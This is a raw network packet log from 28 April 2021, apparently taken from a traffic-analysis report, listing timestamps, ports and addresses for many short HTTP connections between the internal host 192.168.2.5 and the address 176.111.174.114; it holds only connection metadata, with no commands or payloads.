Apr 28, 2021 23:25:46.851305962 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.851435900 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.939857006 CEST	50522	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.940926075 CEST	50524	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:46.951039076 CEST	80	50521	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:46.951117039 CEST	50521	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:47.034629107 CEST	80	50524	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:47.034804106 CEST	50524	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:47.035321951 CEST	50524	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:47.037308931 CEST	80	50522	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:47.037393093 CEST	50522	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:47.129308939 CEST	80	50524	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:47.134002924 CEST	80	50524	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:47.134188890 CEST	50524	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:47.249496937 CEST	50524	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:47.253072977 CEST	50525	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:47.343049049 CEST	80	50524	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:47.343126059 CEST	50524	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:47.346950054 CEST	80	50525	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:47.347045898 CEST	50525	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:47.347579956 CEST	50525	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:47.443017960 CEST	80	50525	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:47.446624041 CEST	80	50525	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:47.446743011 CEST	50525	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:47.561464071 CEST	50525	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:47.563101053 CEST	50526	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:47.655276060 CEST	80	50525	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:47.655473948 CEST	50525	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:47.666435003 CEST	80	50526	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:47.666605949 CEST	50526	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:47.667282104 CEST	50526	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:47.772290945 CEST	80	50526	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:47.776278973 CEST	80	50526	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:47.776515961 CEST	50526	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:47.889441013 CEST	50526	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:47.905550003 CEST	50528	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:47.994465113 CEST	80	50526	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:47.994622946 CEST	50526	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:48.002584934 CEST	80	50528	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:48.002902031 CEST	50528	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:48.003799915 CEST	50528	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:48.099311113 CEST	80	50528	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:48.103440046 CEST	80	50528	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:48.103621006 CEST	50528	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:48.218091965 CEST	50528	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:48.219506979 CEST	50529	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:48.317809105 CEST	80	50528	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:48.317833900 CEST	80	50529	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:48.317956924 CEST	50528	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:48.318027973 CEST	50529	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:48.318737030 CEST	50529	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:48.414971113 CEST	80	50529	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:48.421530962 CEST	80	50529	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:48.421742916 CEST	50529	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:48.530658960 CEST	50529	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:48.532901049 CEST	50530	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:48.626806974 CEST	80	50529	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:48.626960039 CEST	50529	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:48.630759001 CEST	80	50530	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:48.630943060 CEST	50530	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:48.631670952 CEST	50530	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:48.730432034 CEST	80	50530	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:48.733689070 CEST	80	50530	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:48.733928919 CEST	50530	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:48.842499018 CEST	50530	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:48.844126940 CEST	50531	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:48.940438986 CEST	80	50530	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:48.940543890 CEST	50530	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:48.942054033 CEST	80	50531	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:48.942842960 CEST	50531	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:48.942864895 CEST	50531	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.042458057 CEST	80	50531	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.046431065 CEST	80	50531	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.046622038 CEST	50531	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.119998932 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.155599117 CEST	50531	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.156997919 CEST	50533	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.224255085 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.224493027 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.224859953 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.251148939 CEST	80	50533	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.251296997 CEST	50533	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.252027035 CEST	50533	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.253833055 CEST	80	50531	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.253985882 CEST	50531	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.328948021 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.328977108 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.329071999 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.329087973 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.329109907 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.329149961 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.329159975 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.329216003 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.329698086 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.329715967 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.329724073 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.329802036 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.329833031 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.330204964 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.330219984 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.330230951 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.330280066 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.330313921 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.346534967 CEST	80	50533	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.350570917 CEST	80	50533	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.350650072 CEST	50533	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.435456038 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.435480118 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.435487986 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.435502052 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.435678005 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.435719967 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.435730934 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.435734034 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.435745955 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.435796976 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.435834885 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.435919046 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.435930967 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.435939074 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.435971975 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.436017036 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.437114000 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.437130928 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.437211990 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.473006010 CEST	50533	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.474886894 CEST	50534	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.539336920 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.539364100 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.539376020 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.539479017 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.539516926 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.539686918 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.539700031 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.539712906 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.539724112 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.539738894 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.539757013 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.539861917 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.539877892 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.539890051 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.539988041 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.541038036 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.541053057 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.541064024 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.541131973 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.541177988 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.566914082 CEST	80	50533	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.567035913 CEST	50533	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.578042030 CEST	80	50534	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.578242064 CEST	50534	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.579469919 CEST	50534	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.643220901 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.643249035 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.643414021 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.643428087 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.643439054 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.643450022 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.643739939 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.643752098 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.644098043 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.644112110 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.644124031 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.644454002 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.644467115 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.644855976 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.644869089 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.646619081 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.646770954 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.678910971 CEST	80	50534	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.682446003 CEST	80	50534	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.682522058 CEST	50534	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.752824068 CEST	80	50532	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.752904892 CEST	50532	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.796691895 CEST	50534	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.798162937 CEST	50536	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.899892092 CEST	80	50534	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.899923086 CEST	80	50536	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:49.899998903 CEST	50534	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.900060892 CEST	50536	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:49.901273966 CEST	50536	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:50.003916979 CEST	80	50536	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:50.007920980 CEST	80	50536	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:50.008007050 CEST	50536	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:50.123681068 CEST	50536	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:50.124766111 CEST	50537	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:50.217880011 CEST	80	50537	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:50.218075037 CEST	50537	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:50.219501019 CEST	50537	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:50.223041058 CEST	80	50536	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:50.223140001 CEST	50536	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:50.312628031 CEST	80	50537	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:50.319897890 CEST	80	50537	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:50.319984913 CEST	50537	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:50.436559916 CEST	50537	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:50.437845945 CEST	50538	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:50.529592037 CEST	80	50537	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:50.529679060 CEST	50537	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:50.530179977 CEST	80	50538	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:50.530284882 CEST	50538	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:50.531605959 CEST	50538	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:50.624058008 CEST	80	50538	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:50.627696037 CEST	80	50538	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:50.627887964 CEST	50538	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:50.737462997 CEST	50538	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:50.738603115 CEST	50540	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:50.831954002 CEST	80	50538	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:50.832133055 CEST	50538	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:50.835484028 CEST	80	50540	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:50.835649014 CEST	50540	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:50.836380959 CEST	50540	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:50.931375027 CEST	80	50540	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:50.937108994 CEST	80	50540	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:50.937304974 CEST	50540	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:51.046394110 CEST	50540	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:51.049417973 CEST	50541	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:51.141489029 CEST	80	50540	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:51.141587973 CEST	50540	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:51.142972946 CEST	80	50541	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:51.143126011 CEST	50541	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:51.143966913 CEST	50541	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:51.238989115 CEST	80	50541	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:51.242516994 CEST	80	50541	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:51.242691040 CEST	50541	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:51.360039949 CEST	50541	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:51.360061884 CEST	50542	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:51.452970982 CEST	80	50541	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:51.453238010 CEST	50541	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:51.455032110 CEST	80	50542	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:51.455269098 CEST	50542	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:51.455945969 CEST	50542	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:51.553482056 CEST	80	50542	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:51.557755947 CEST	80	50542	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:51.557988882 CEST	50542	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:51.670792103 CEST	50542	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:51.672013998 CEST	50543	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:51.768265963 CEST	80	50542	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:51.768405914 CEST	50542	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:51.769886971 CEST	80	50543	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:51.770102978 CEST	50543	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:51.770808935 CEST	50543	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:51.866523981 CEST	80	50543	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:51.870388031 CEST	80	50543	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:51.870562077 CEST	50543	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:51.988466024 CEST	50543	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:51.989917040 CEST	50544	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:51.995107889 CEST	50545	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.083811998 CEST	80	50543	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.083973885 CEST	50543	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.086942911 CEST	80	50544	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.087169886 CEST	50544	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.088262081 CEST	50544	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.097677946 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.097965956 CEST	50545	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.098400116 CEST	50545	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.185847044 CEST	80	50544	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.189271927 CEST	80	50544	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.189424992 CEST	50544	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.200138092 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.200154066 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.200161934 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.200206995 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.200402975 CEST	50545	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.296674013 CEST	50544	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.298337936 CEST	50546	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.302114964 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.302136898 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.302144051 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.302278996 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.302361012 CEST	50545	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.302440882 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.302515030 CEST	50545	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.302594900 CEST	50545	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.393717051 CEST	80	50546	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.393753052 CEST	80	50544	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.393982887 CEST	50546	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.394463062 CEST	50544	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.394654036 CEST	50546	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.404059887 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.404086113 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.404228926 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.404242039 CEST	50545	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.404316902 CEST	50545	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.404387951 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.404489994 CEST	50545	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.404552937 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.404597044 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.404659986 CEST	50545	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.404690981 CEST	50545	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.404704094 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.404799938 CEST	50545	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.490134001 CEST	80	50546	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.494390965 CEST	80	50546	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.494559050 CEST	50546	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.505980015 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.506007910 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.506016016 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.506155968 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.506170034 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.506212950 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.506427050 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.506442070 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.506489038 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.506697893 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.506856918 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.506989956 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.507174969 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.507358074 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.507581949 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.507611036 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.507735968 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.507749081 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.507931948 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.509540081 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.510286093 CEST	50545	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.609085083 CEST	50546	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.610748053 CEST	50548	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.611955881 CEST	80	50545	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.613468885 CEST	50545	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.704464912 CEST	80	50546	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.704581976 CEST	50546	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.710180998 CEST	80	50548	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.710355997 CEST	50548	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.711149931 CEST	50548	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.812926054 CEST	80	50548	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.816922903 CEST	80	50548	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:52.817044973 CEST	50548	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.921053886 CEST	50548	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:52.922800064 CEST	50549	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:53.017921925 CEST	80	50549	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:53.018134117 CEST	50549	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:53.018845081 CEST	50549	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:53.020517111 CEST	80	50548	176.111.174.114	192.168.2.5
